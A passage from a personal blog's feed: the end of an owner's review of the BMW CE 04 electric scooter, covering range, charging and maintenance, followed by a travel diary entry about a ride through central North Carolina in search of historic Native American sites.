&lt;p&gt;The acceleration still pulls aggressively through 60 km (37mph), enough to leave anything short of a supercar in the dust when leaving an intersection. After 72 km (45mph), the acceleration is no longer shocking and feels like a regular modern vehicle.&lt;/p&gt;
&lt;p&gt;Leaving everyone else behind at a green light is the most enjoyable part of owning the CE 04.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/bmw-ce-04-the-suit-and-tie-rocket-ship/noRtLkk7.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;How does it ride?&lt;/h2&gt;
&lt;p&gt;The BMW CE 04 rides really well, especially considering its weight. The center of gravity on this bike is easier lower than anything BMW has ever produced, which makes it a far more enjoyable experience to take this bike into town than the GS I used to have.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/bmw-ce-04-the-suit-and-tie-rocket-ship/slEF34EI.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I&#39;ve ridden the CE 04 in gravel, double-track, cities, highways, rain, flooded roads, and even briefly on ice. So far, the biggest handling surprise has been how competent this bike feels in gravel. The bike is also good on the highway or two-up, where it behaves much better than a F650GS and nearly as good as a R1200GS.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/bmw-ce-04-the-suit-and-tie-rocket-ship/7aWaTXpO.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I can only find two faults with the bike handling:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The suspension is good, but you may periodically hit the travel limit (110mm front, 92mm rear) on a rough road&lt;/li&gt;
&lt;li&gt;The steering of the CE 04 feels more easily influenced by high-speed crosswinds than other bikes&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/bmw-ce-04-the-suit-and-tie-rocket-ship/TpoCu6AB.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;The Electric Experience&lt;/h2&gt;
&lt;p&gt;The best two things about having an electric vehicle are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Near-zero maintenance&lt;/li&gt;
&lt;li&gt;Never having to visit a gas station&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The worst parts are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The fear of exceeding your range&lt;/li&gt;
&lt;li&gt;The fear of arriving at a broken charger&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;It was only on my first multi-day trip with the CE 04 that I finally mastered the art of dialing up efficiency as needed. If you find yourself in a situation where you need to stretch your range, the following recipe is good to squeeze an extra 10-15% out of the scoot:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Travel at 5mph (8km/h) less than the speed limit&lt;/li&gt;
&lt;li&gt;Use &amp;quot;Eco&amp;quot; Mode&lt;/li&gt;
&lt;li&gt;Avoid the brakes&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/bmw-ce-04-the-suit-and-tie-rocket-ship/qxoBRpMo.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I was surprised to learn that power usage has a cubic relationship with velocity:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;power = 0.5 * density_of_air * velocity^3 * drag coefficient * surface area
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is much more noticeable on a two-wheeled EV than any other type of vehicle because of the high drag coefficient (&amp;gt;1 versus 0.23 in a Tesla Model Y), low energy density, and because they are highly efficient at slow speeds, whereas internal combustion engines are not. Even a small difference in speed dramatically impacts the range of EVs, especially a two-wheeled one.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/bmw-ce-04-the-suit-and-tie-rocket-ship/4ITjZN9r.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I&#39;ve observed a 23% range difference between &amp;quot;Dynamic&amp;quot; and &amp;quot;Eco&amp;quot; modes on the same stretch of road an hour apart. While the Dynamic mode has ~20% stronger regenerative braking than Eco, I&#39;m skeptical of its effectiveness on a two-wheeled EV due to the relatively low inertial weight. The primary efficiency difference between the Evo/Rain and Road/Dynamic modes is due to the dampening of the acceleration curve.&lt;/p&gt;
&lt;p&gt;Regarding the fear of arriving at a broken charger: I&#39;ve now charged at 66 different locations and have only once had to adjust my route due to an unavailable charger. The key to avoiding charger disappointment is to look stations up on &lt;a href=&quot;https://plugshare.com/&quot;&gt;PlugShare&lt;/a&gt; ahead of time: if the most recent review doesn&#39;t reflect a successful charge, don&#39;t count on having one yourself.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/bmw-ce-04-the-suit-and-tie-rocket-ship/XXPIGkw0.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Like most battery-powered devices, it takes about the same time to charge 20-80% as it does from 80-100% due to increased resistance from the battery. My average charge time at public chargers is 30 minutes (20-60%), but if I need to change up to 100% to make it somewhere, I&#39;ll grab a coffee and let the bike sit for an hour.&lt;/p&gt;
&lt;p&gt;It is worth noting that the BMW CE 04 is only compatible with AC (alternating current) chargers, like what you have at home. While this means you can charge it from any 110V or 220V power source, it means that it isn&#39;t compatible with the faster &lt;a href=&quot;https://evsafecharge.com/dc-fast-charging-explained/&quot;&gt;DC (direct current) chargers&lt;/a&gt;. Due to this incompatibility, even with an adapter, the CE 04 will not charge at  Tesla Superchargers or &lt;a href=&quot;https://www.electrifyamerica.com/&quot;&gt;ElectrifyAmerica&lt;/a&gt; chargers. In the United States, the lack of DC support means roughly 15% of chargers are incompatible with the CE 04.&lt;/p&gt;
&lt;p&gt;On the plus side, the various apps for looking up chargers allow you to select AC or DC. 99% of the free chargers are AC. The CE 04 works wonderfully with &lt;a href=&quot;https://www.tesla.com/destination-charging&quot;&gt;Tesla Destination Chargers&lt;/a&gt;, but you&#39;ll need to pack a &lt;a href=&quot;http://www.umc-j1772.com/index.php?route=product/product&amp;amp;product_id=146&quot;&gt;TeslaTap Mini&lt;/a&gt; adapter to use them.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/bmw-ce-04-the-suit-and-tie-rocket-ship/53Xyn1EV.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;As the BMW CE 04 is slow at refueling compared to traditional two-wheeled bikes, group rides longer than 50 miles can be awkward. It doesn&#39;t help that group rides tend to encourage riding faster than the speed limit, which impacts your range.&lt;/p&gt;
&lt;h2&gt;Getting Connected&lt;/h2&gt;
&lt;p&gt;While the CE 04 does not require a cell phone to operate, you will need it if you want the giant 10.25&amp;quot; screen to show navigation instructions; you will need to install an Android or iOS application and connect your phone to your bike via Bluetooth. Good thing the scooter comes with a USB-C charging slot -- the CE 04 even has a fan-cooled location for stowing your phone.&lt;/p&gt;
&lt;p&gt;There is no support for Android Auto, CarPlay, or any other mechanism to display maps from your phone to the console. If you want Navigation, you have to use the &lt;a href=&quot;https://play.google.com/store/apps/details?id=com.bmw.ConnectedRide.na&amp;amp;hl=en_US&amp;amp;gl=US&quot;&gt;BMW Motorrad Connected&lt;/a&gt; app, which isn&#39;t all that terrible.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/bmw-ce-04-the-suit-and-tie-rocket-ship/gFuVGfIy.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The best features of the BMW-connected software are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;You can set the preferred &amp;quot;Windiness&amp;quot; for your route&lt;/li&gt;
&lt;li&gt;Maps work offline&lt;/li&gt;
&lt;li&gt;It records a GPS route of every ride, along with the state-of-charge, ABS, and traction events.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The worst features are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;It will not tell you how much range to expect at your destination&lt;/li&gt;
&lt;li&gt;It will not warn you if the destination exceeds your range&lt;/li&gt;
&lt;li&gt;It will not route you to a charging stop along the way&lt;/li&gt;
&lt;li&gt;It does not show chargers on the map&lt;/li&gt;
&lt;li&gt;Address lookups are sluggish and interrupted by Bluetooth connectivity changes&lt;/li&gt;
&lt;li&gt;If you have your phone setup as a hotspot, it will fail to display maps on your console&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/bmw-ce-04-the-suit-and-tie-rocket-ship/9PL0ADkJ.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Does it Tour?&lt;/h2&gt;
&lt;p&gt;Hell, yes, it tours.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/bmw-ce-04-the-suit-and-tie-rocket-ship/8QT5FgqW.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;You can treat the BMW CE 04 as an exotic electric sport-touring machine, within reason. Due to the recharge times, the longest you can travel within 24 hours is about 400 mi/650km. My &lt;a href=&quot;https://unfinished.bike/piggly-wiggly-saves-the-electric-coastal-raid&quot;&gt;longest single-day ride has been 333 mi/530km&lt;/a&gt;, and my longest &lt;a href=&quot;https://unfinished.bike/iso-native-lands-day-1-chapel-hill-rutherfordton&quot;&gt;3-day trip has been 650 mi/1050km&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/bmw-ce-04-the-suit-and-tie-rocket-ship/RbgTUkdy.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Touring with the BMW CE 04 takes planning, but visiting small towns with tiny independent charging stations in pedestrian-friendly spaces has been surprisingly rewarding. Traveling at a slower speed to these little electrical oases has provided a more exciting travel experience than I ever had with the F650GS Dakar or R1150GS. By preferring slower travel speeds and making loads of coffee stops, touring on the CE 04 feels similar to a bicycle tour at 3X speed.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/bmw-ce-04-the-suit-and-tie-rocket-ship/BENQlhHi.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;You can find chargers even in North Carolina&#39;s one-stoplight towns: Goldston to Star. The limited range of the CE 04 requires planning to locate them, but you can go a long way with ABRP (ABetterRoutePlanner) and PlugShare. ABRP does not know about the CE 04, but it&#39;s possible to simulate one by selecting the &lt;code&gt;Zero SDS ZF 7.2 + PT&lt;/code&gt; and setting the reference consumption to &lt;code&gt;190 Wh/mi @ 65mph&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The weakest spot for touring on the BMW CE 04 is the seat. I am still looking for a seating position that is comfortable for more than 4 hours. For my pillion, it&#39;s uncomfortable after an hour. I may consider buying an &lt;a href=&quot;https://airhawk.net/&quot;&gt;Airhawk seat&lt;/a&gt; in the future.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/bmw-ce-04-the-suit-and-tie-rocket-ship/f2JtOg5h.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Making the CE 04 mine&lt;/h2&gt;
&lt;p&gt;I&#39;ve made a handful of changes to the bike to make it more comfortable:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/bmw-ce-04-the-suit-and-tie-rocket-ship/kYWypUuR.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.wunderlichamerica.com/wunderlich-handguard-set-ce-04.html&quot;&gt;Wunderlich handguards&lt;/a&gt;: Increased protection and decreased heat loss from the heated handgrips when it&#39;s cold.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.shadusa.com/products/sh48-top-case-silver&quot;&gt;Shad SH48 top case&lt;/a&gt;: to carry helmet &amp;amp; gear for a passenger.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://unfinished.bike/skene-lights-installation-on-the-bmw-ce-04&quot;&gt;Skene lights&lt;/a&gt;: significantly improve visibility for the drivers around me&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.2x2cycles.com/product/moto-bicycle-rack/&quot;&gt;2x2 Cycles Moto Bicycle Carrier&lt;/a&gt;: to carry a bicycle on the back (warning: beware of clearance problems with the standard front-wheel mount to your turn signal indicator)&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.wunderlichamerica.com/Motorcycle_Handlebar_Muffs_Black&quot;&gt;Wunderlich Winter Muffs&lt;/a&gt;: to keep my fingers warm even when it&#39;s below freezing&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://chromeindustries.com/products/helix-handlebar-bag&quot;&gt;Helix Handlebar Bag&lt;/a&gt; - Velcroed to the space under the dash, holds my camera, first aid kit, and TeslaTap Mini.&lt;/li&gt;
&lt;li&gt;Reinforced turn signal indicators: (a tie wrap)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I&#39;ve been happy with all of these so far. There are many CE 04 accessories available to the EU market that may never show up in the USA, such as the &lt;a href=&quot;https://www.wunderlich.de/shop/en/leg-protection-cover-ce-04-45302-002.html&quot;&gt;Wunderlich Rain Skirt&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/bmw-ce-04-the-suit-and-tie-rocket-ship/MDu5sboQ.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Maintenance&lt;/h2&gt;
&lt;p&gt;Unsurprisingly, the &lt;a href=&quot;https://manuals.bmw-motorrad.com/manuals/BA-Extern/IN/BA-INTERNET-COM/PDF/C_0C51_RM_0623_07.pdf&quot;&gt;maintenance requirements of the BMW CE 04&lt;/a&gt; are minimal. There is no engine oil that needs changing, and with the regenerative motor braking, the brake pads are, for the most part, relegated to emergency stops. I am not a mechanic, but this is the rough maintenance schedule I am going by:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;750 miles: Initial &amp;quot;break-in&amp;quot; service (final drive fluid change, belt tension check)&lt;/li&gt;
&lt;li&gt;Every 4500 miles: replace the front tire&lt;/li&gt;
&lt;li&gt;Every 6200 miles: replace the rear tire, final drive fluid change, belt tension check&lt;/li&gt;
&lt;li&gt;Every 20000 miles: replace the belt&lt;/li&gt;
&lt;li&gt;Every 50000 miles: replace brake pads&lt;/li&gt;
&lt;li&gt;Every 10000 miles: replace brake rotors&lt;/li&gt;
&lt;li&gt;Every 2 years: replace brake fluid&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/bmw-ce-04-the-suit-and-tie-rocket-ship/qOiuEPYr.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;As with their gas-burning bikes, BMW wants you to stop by a dealer every 6000 miles for maintenance. IMHO, that&#39;s excessive for an electric vehicle, especially given that the mechanics in the USA are not trained to work on the CE 04. If you ever find yourself wanting to turn off the giant &amp;quot;MAINTENANCE DUE&amp;quot; pop-up on the console, it&#39;s quickly done with an &lt;a href=&quot;https://www.obdlink.com/products/obdlink-lx/&quot;&gt;ODB2 dongle&lt;/a&gt; and the &lt;a href=&quot;https://play.google.com/store/apps/details?id=de.wgsoft.motoscan&amp;amp;hl=en_US&amp;amp;gl=US&quot;&gt;MotoScan&lt;/a&gt; phone app.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/bmw-ce-04-the-suit-and-tie-rocket-ship/licTJH9v.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;One unexpected quirk about the CE 04 is that it burns through front tires more quickly than the rear, opposite of most two-wheeled vehicles and 4-wheeled EVs.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/bmw-ce-04-the-suit-and-tie-rocket-ship/pOolO1eF.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Room for Improvement&lt;/h2&gt;
&lt;p&gt;Roughly in priority order:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;A long-range version, like the &lt;a href=&quot;https://en.wikipedia.org/wiki/BMW_C_evolution&quot;&gt;BMW C-Evolution&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Support for DC charging (&lt;a href=&quot;https://en.wikipedia.org/wiki/North_American_Charging_Standard&quot;&gt;NACS&lt;/a&gt;) to broaden charger compatibility&lt;/li&gt;
&lt;li&gt;Automatic routing to chargers in navigation mode&lt;/li&gt;
&lt;li&gt;Touring-friendly seats&lt;/li&gt;
&lt;li&gt;Reinforced indicators&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/bmw-ce-04-the-suit-and-tie-rocket-ship/JAE0apEV.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;It isn&#39;t for everyone, but for me, the BMW CE 04 is a nearly perfect vehicle. It&#39;s great for errands, such as pizza pickups and school drop-offs, and fun outings, such as lunch with friends and exploring the countryside.&lt;/p&gt;
&lt;p&gt;I&#39;d buy the CE 04 again in a heartbeat. If BMW released a version with 20mi/30km more range, I&#39;d buy it too.&lt;/p&gt;
&lt;p&gt;If you want to know more, drop by the &lt;a href=&quot;https://bmw-scooters.com/&quot;&gt;BMW Scooters Forum&lt;/a&gt;, where everyone is exceptionally friendly and helpful.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/bmw-ce-04-the-suit-and-tie-rocket-ship/gqYl82OY.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content>
  </entry><entry>
    <title>ISO Native Lands: Day 3 (Hickory↝Chapel Hill)</title>
    <link href="https://choosehappy.dev/posts/2023/iso-native-lands-day-3-hickory-chapel-hill/"/>
    <updated>2023-07-17T00:00:00Z</updated>
    <id>https://choosehappy.dev/posts/2023/iso-native-lands-day-3-hickory-chapel-hill/</id>
    <content xml:lang="en" type="html">&lt;p&gt;Today is homeward bound: a final 204 miles through Central North Carolina. There are a couple of locations of historical interest that I have plans to stop by: The Trading Ford, Sapona, and the Keyauwee village. I&#39;m not keeping my hopes up too high, though, as the exact locations of each are murky and possibly on private property.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/iso-native-lands-day-3-hickory-chapel-hill/Jlh3yLqz.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;!--more--&gt;
&lt;p&gt;Wanting to get as much distance as possible before the evil day star becomes intolerable, I set my sights on breakfast in Salisbury, 54 miles away. That&#39;s about the maximum distance I&#39;ll ride anyways on rural highways before recharging the scooter: &lt;a href=&quot;https://abetterrouteplanner.com/&quot;&gt;ABetterRoutePlanner&lt;/a&gt; says I&#39;ll arrive downtown with a 13% charge. The plan is to park &amp;amp; walk to breakfast: though apparently, the only breakfast option on a Sunday morning in Salisbury is Waffle House.&lt;/p&gt;
&lt;p&gt;I decide to make an attempt to stretch the range out as far as I can this morning: this means easing the throttle, going just below the speed limit, pulling out when folks show up behind me, and coasting to a stop using the regenerative &amp;quot;engine&amp;quot; braking rather than applying the brakes. Thankfully, country roads are plenty quiet at 7am on a Sunday morning.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/iso-native-lands-day-3-hickory-chapel-hill/utXyrLg8.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Much of this first leg is in the vicinity of Statesville, NC. The scene is ranch houses, monstrous industrial buildings, semi-truck trailers, small rural churches, and corn. This area is known for cheap land, power, and water, so it makes sense to see all the big-named companies with multiple entrances, but it still feels unlike anywhere else I&#39;ve been on this trip.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/iso-native-lands-day-3-hickory-chapel-hill/lBkSaTgR.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Depressingly, I began to think about how the local population lives their lives as slaves to these giant faceless corporations: you spend your 40 hours a week in a giant box following orders from your company, then you visit the church on the weekend to get orders from someone else, go home to rest, and then you die. I realized that I had just summarized my own life and felt even more solemn after that.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/iso-native-lands-day-3-hickory-chapel-hill/kRuuEC42.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I arrive at the first charger with 22% charge left - 9% more than I would have usually expected and worth about an extra 6 miles in range. It&#39;s good to know that I can dial up the efficiency if needed, which has led me to a new EV mantra of &amp;quot;Get low? Go slow&amp;quot;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/iso-native-lands-day-3-hickory-chapel-hill/BC92fKQ4.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Salisbury, or more specifically Gateway Park, is the first place I&#39;ve parked my bike where things felt sketchy enough to bring my things with me instead of just concealing the side bag. To the left of me were two people packing their belongings into a shopping cart, and to the right was someone sleeping in a bus shelter curled up against a Huffy bike from the 90s. Salisbury has fallen a long way since &lt;a href=&quot;https://www.salisburypost.com/2017/03/19/presidential-lore-andrew-jackson-crawford-family-salisbury/&quot;&gt;Andrew Jackson practiced law here&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/iso-native-lands-day-3-hickory-chapel-hill/z4TH9Tkw.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Even at 8:30am, it&#39;s beginning to feel sticky outside. The food at the Waffle House is good but not great. I was not feeling the Salisbury vibe and questioned whether it was wise to leave my motorcycle jacket and airbag vest behind, so I cut my urban exploration short and headed out to find the &lt;a href=&quot;https://www.ncpedia.org/trading-ford&quot;&gt;Trading Ford&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/iso-native-lands-day-3-hickory-chapel-hill/7t4kdCSo.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The ford was an important part of the &lt;a href=&quot;https://www.ncpedia.org/great-trading-path&quot;&gt;Great Trading Path&lt;/a&gt; that went up and down the coast: used by natives and colonists alike. In this area, the Yadkin was generally 1000-1500 feet wide, and this was the only point where it was possible to cross over by foot or horseback. Unfortunately, the location of the ford has since been dammed, and while you can kind of see where it once was from I-85, the closest access is blocked off by a power plant:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/iso-native-lands-day-3-hickory-chapel-hill/JsGxijmW.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I also tried to get to the location of Sapona, a famous Native American town adjacent to the Trading Ford mentioned in John Lawson&#39;s explorations. Unfortunately, nothing structural remains of it, and the site is on private land. I doubt few of the locals even know that Sapona is hiding beyond these trees:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/iso-native-lands-day-3-hickory-chapel-hill/DKAAUAHw.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Apparently, there is still some disagreement from archeologists on which side of the river the town was on.&lt;/p&gt;
&lt;h3&gt;Lexington&lt;/h3&gt;
&lt;p&gt;Feeling dejected and unsuccessful in my day thus far, I continue up the route of the trading path from Salisbury through Spencer to Lexington. The vibe is destitute and derelict. This corridor feels filled with the people that society has left behind. It&#39;s not a surprise when I arrive in downtown Lexington and see the theme continue. Many prime real estate locations are closed, including this local Census center from 3 years ago.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/iso-native-lands-day-3-hickory-chapel-hill/rScfAXIr.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Allegedly &lt;a href=&quot;https://www.visitnc.com/story/7oq3/plan-a-flavorful-lexington-barbecue-tour&quot;&gt;famous for its barbeque&lt;/a&gt;, Lexington was primarily a textile and furniture town until those duties were moved overseas. On a Sunday morning, Lexington feels mostly dead. A random guy cruising down the hill on his bike, a crazy lady wandering around screaming to herself, and a person with a maimed arm wandering aimlessly.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/iso-native-lands-day-3-hickory-chapel-hill/pP6QfOMI.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;At some point, it&#39;s just too hot to walk around, so I find a shady bench to chill out at near the courthouse.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/iso-native-lands-day-3-hickory-chapel-hill/LNTMpk3U.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Surprisingly, there are no water fountains or open markets to buy water from, so I ride to a CVS on the way out to buy some water for the coming hike.&lt;/p&gt;
&lt;h3&gt;Caraway, Keyauwee: same word, different spelling&lt;/h3&gt;
&lt;p&gt;I head East toward Asheboro, hoping to find the site of the famous &lt;a href=&quot;https://www.ncpedia.org/keyauwee-indians&quot;&gt;Keyauwee&lt;/a&gt; village. The site location is an unconfirmed well-kept secret among archaeologists, but it&#39;s apparently along Caraway Creek and allegedly on private land. I tried to use hints from the books I&#39;ve read on the subject and Google Earth to make an educated guess. &lt;a href=&quot;https://docsouth.unc.edu/nc/lawson/menu.html&quot;&gt;John Lawson&#39;s &amp;quot;A New Voyage to Carolina&amp;quot;&lt;/a&gt; (1704) described it:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Nature hath so fortified this Town, with Mountains, that were it a Seat of War, it might easily be made impregnable; having large Corn-Fields joining to their Cabins, and a Savanna near the Town, at the Foot of these Mountains, that is capable of keeping some hundred Heads of Cattle. And all this environed round with very high Mountains so that no hard Wind ever troubles these Inhabitants.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Intriguingly, Lawson also mentions that at the top of the nearby mountain is a &lt;em&gt;&amp;quot;cave that 100 Men may fit very conveniently to dine in&amp;quot;&lt;/em&gt;. I recently saw that the &lt;a href=&quot;https://www.piedmontland.org/carawaycreekpreserve/&quot;&gt;Caraway Creek Preserve&lt;/a&gt; opened up just South of the area I had identified as an armchair historian, so I decided to visit to see if it lived up to the description.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/iso-native-lands-day-3-hickory-chapel-hill/i1d6fCX9.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Walking down to Caraway Creek, I imagined the sounds of a bustling native village. Craftspeople building things, food cooking over an open fire, kids playing with sticks and balls.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/iso-native-lands-day-3-hickory-chapel-hill/EiV4XCbd.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;While this location was surrounded by the low mountains of the northern Uwharrie, it didn&#39;t match the description. I couldn&#39;t shake the idea that I was off by many miles. Once I got home and did further research, I&#39;m pretty sure I was ~2 miles too far north and that the more likely location is just below &lt;a href=&quot;https://www.piedmontland.org/protected-places/parks-trails-and-preserves/preserves/ridges-mountain-randolph-county/&quot;&gt;Ridges Mountain&lt;/a&gt;. I&#39;ll take a closer look at a future trip.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/iso-native-lands-day-3-hickory-chapel-hill/BeGSLQSi.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Asheboro and home&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/iso-native-lands-day-3-hickory-chapel-hill/dKFsLbj9.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I dropped by downtown Asheboro for a late lunch and a charge. Asheboro seems reinvigorated compared to the last time I was here 20+ years ago. The downtown lot has multiple free charging stations, art studios, and restaurants. It&#39;s clean, but you can still find plenty of old brick and grit.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/iso-native-lands-day-3-hickory-chapel-hill/L1zBSDsI.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;It&#39;s 93&#39;F outside, so I&#39;m walking around with what&#39;s left of my Camelbak Chill bottle, keeping myself hydrated until I find an interesting-looking place to eat. I settle on Flying Pig Food &amp;amp; Spirits and am quickly disarmed by a hostess who declares that I cannot come in with a water bottle. We negotiate, and she holds the bottle hostage for me at her stand while I eat.&lt;/p&gt;
&lt;p&gt;I ordered a Dr. Pepper, water, and a &amp;quot;Fish Dog&amp;quot;: fried mahi mahi in hot dog buns. It&#39;s weird but good. On the way out, I get the water in a to-go cup to refill my water bottle. I liked the place, but my interaction with the hostess made the entire visit feel awkward.&lt;/p&gt;
&lt;p&gt;Leaving town, I pass over the Deep River by Cedar Falls and stop the bike as it just looks too gorgeous to pass up:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/iso-native-lands-day-3-hickory-chapel-hill/6U2wOxUb.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;When I head down to the banks, a concerned father yells down to me, asking if I have any bandaids. His boy cut himself playing on the rocks. I&#39;m glad to finally use the First Aid kit I keep handy, and even more glad that I didn&#39;t have to use it on myself.&lt;/p&gt;
